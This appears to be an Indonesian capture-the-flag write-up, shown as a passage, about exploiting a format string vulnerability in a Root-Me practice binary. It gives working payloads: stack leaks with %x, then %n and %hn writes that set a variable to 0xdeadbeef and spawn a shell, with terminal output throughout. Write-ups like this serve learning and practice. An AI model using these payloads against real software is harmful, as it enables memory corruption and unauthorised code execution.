Kita telah mendebug program untuk melihat stack yang ada pada program. Kali ini kita akan gunakan vuln format strig dengan memasukan %x kedalam program. Kita akan memasukkan 'AAAABBBB%x%x%x%x%x%x%x%x%x%x%x'. Kita dapat memasukkan beberapa %x untuk melihat 4 byte pada stack untuk setiap %x.

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring 'AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x'
Check at 0xffffce28
argv[1] = [AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x]
fmt = [AAAABBBB.565556ba.9282e2ee.594.f7e80629.ffffcf64.ffffce5e.1.4030201.41414141.42424242.3536352e]
check=0x4030201

Kita dapat melihat isi stack yang kita examine sebelumnya sama persis dengan output yang dihasilkan. Kita dapat melihat stack dengan inputan %x.

Kita dapat pula langsung melihat isi stack pada %x keberapa yang kita inginkan. Kita ingin melihat isi stack pada %x ke 9 yaitu tempat AAAA berada.

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring 'AAAABBBB.%9$x'
Check at 0xffffce48
argv[1] = [AAAABBBB.%9$x]
fmt = [AAAABBBB.41414141]
check=0x4030201

Kita berhasil melihat binary stack melalui inputan %x. Untuk mengoverwrite memori, kita dapat melakukan exploitasi dengan memasukkan format string %hn / %n. Dengan %hn kita akan memasukkan jumlah bytes yang telah kita tulis kedalam memori yang ditunjuk pada stack yang ada. Singkatnya apabila payload kita adalah AAAABBBB%9$hn kita akan menulis 8 desimal pada alamat memori 0x41414141 (yang mana memori ini akan invalid).

Jika kita ingin men overwrite isi dari variabel check, maka kita harus mengisi dengan alamat dari variabel check. Alamat yang kita gunakan adalah alamat yang kita gunakan adalah yang muncul pada terminal kita yaitu alamat 0xFFFFCE48 . Entah karena apa saya juga belum tau kenapa alamat variabel di gdb berbeda dengan alamat memori di mesin kita walaupun kita telah mematikan aslr :).

Kita akan coba payload kita untuk mengubah isi variabel. Kita gunakan python untuk mencetak binary dari alamat tersebut. Karena memori diisi dengan little endian maka kita rubah dulu alamat kita menjadi 0xffffce48 -> \x48\xce\xff\xff

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x48\xce\xff\xff%9$n"')
Check at 0xffffce48
argv[1] = [H���%9$n]

You are on the rigth way
fmt = [H���]
check=0x4

Yes. Kita berhasil mengoverwrite isi dari variabel check walau belum sesuai dengan yang diinginkan.

Kita menginginkan untuk mengoverwrite variabel check menjadi 0xdeadbeef. Dengan menggunakan %hn kita hanya dapat mengubah isi variabel hingga 2 byte (atau setara dengan 4 karakter). Karena itu payload kita pisah dahulu menjadi dua. Yaitu payload untuk memasukkan 0xdead di memori 0xffffce48 dan 0xbeef di memori 0xffffce48 + 2 bytes atau dalam hexa adalah 0xffffce4a.

Seperti inilah layout dari payload yang akan kita inputkan

Alamat memori 0xdead Alamat memori 0xbeef %(Bytes kurang)x %(posisi isi memori)$hn %(Bytes kurang %(posisi isi memori)$hn
\x48\xce\xff\xff \x4a\xce\xff\xff ? %9$hn ? %10$hn

Kita masih memiliki data yang kurang yaitu berapa tepatnya bytes yang harus kita tuliskan untuk menulis 0xdead dan 0xbeef.

Kita coba cari dengan python berapa desimal dari bilangan tersebut

>>> 0xdead
57005
>>> 0xbeef
48879
  • untuk menuliskan 0xbeef. Kita harus menuliskan 48879 bytes. Untuk menuliskan dua alamat '\x48\xce\xff\xff\x4a\xce\xff\xff' kita sudah menuliskan 8 bytes. Sehingga kita akan menuliskan 48871 bytes tanda tanya ke-satu = %48871x
  • untuk menuliskan 0xdead. Kita harus menuliskan 57005 bytes. Kita telah meuliskan total byte 48879 bytes. Sehingga bytes yang kurang tinggal kurangkan saja :). yaitu 8126. tanda tanya ke-satu = %8126x

Payload yang kita punya akhirnya lengkap.

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x48\xce\xff\xff\x4a\xce\xff\xff%48871x%9$hn%8126x%10$hn"')
Check at 0xffffce38
argv[1] = [H���J���%48871x%9$hn%8126x%10$hn]
fmt = [H���J���    ᆳ�                                                                                                               ]
check=0x4030201

Oops Ternyata tidak teroverwrite. Kita lihat ternyata stack yang ada berubah karena banyaknya inputan yang kita masukkan. Kita sesuaikan inputan agar sesuai dengan alamat pada check menjadi '\x38\xce\xff\xff\x3a\xce\xff\xff'

Kita coba kembali

alfakatsuki@justPC:~/Desktop/RootMe$ ./formatstring $(python -c 'print "\x38\xce\xff\xff\x3a\xce\xff\xff%48871x%9$hn%8126x%10$hn"')
Check at 0xffffce38
argv[1] = [8���:���%48871x%9$hn%8126x%10$hn]
fmt = [8���:���                                                                                                                       ]
check=0xdeadbeef
Yeah
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare)
$ whoami
alfakatsuki

Kita berhasil mengoverwrite isi dari check menjadi 0xdeadbeef dan mendapatkan shell. Tinggal jalankan pada service dan kita dapatkan flag. Soal yang menarik dan membuat saya banyak belajar mengenai format string :).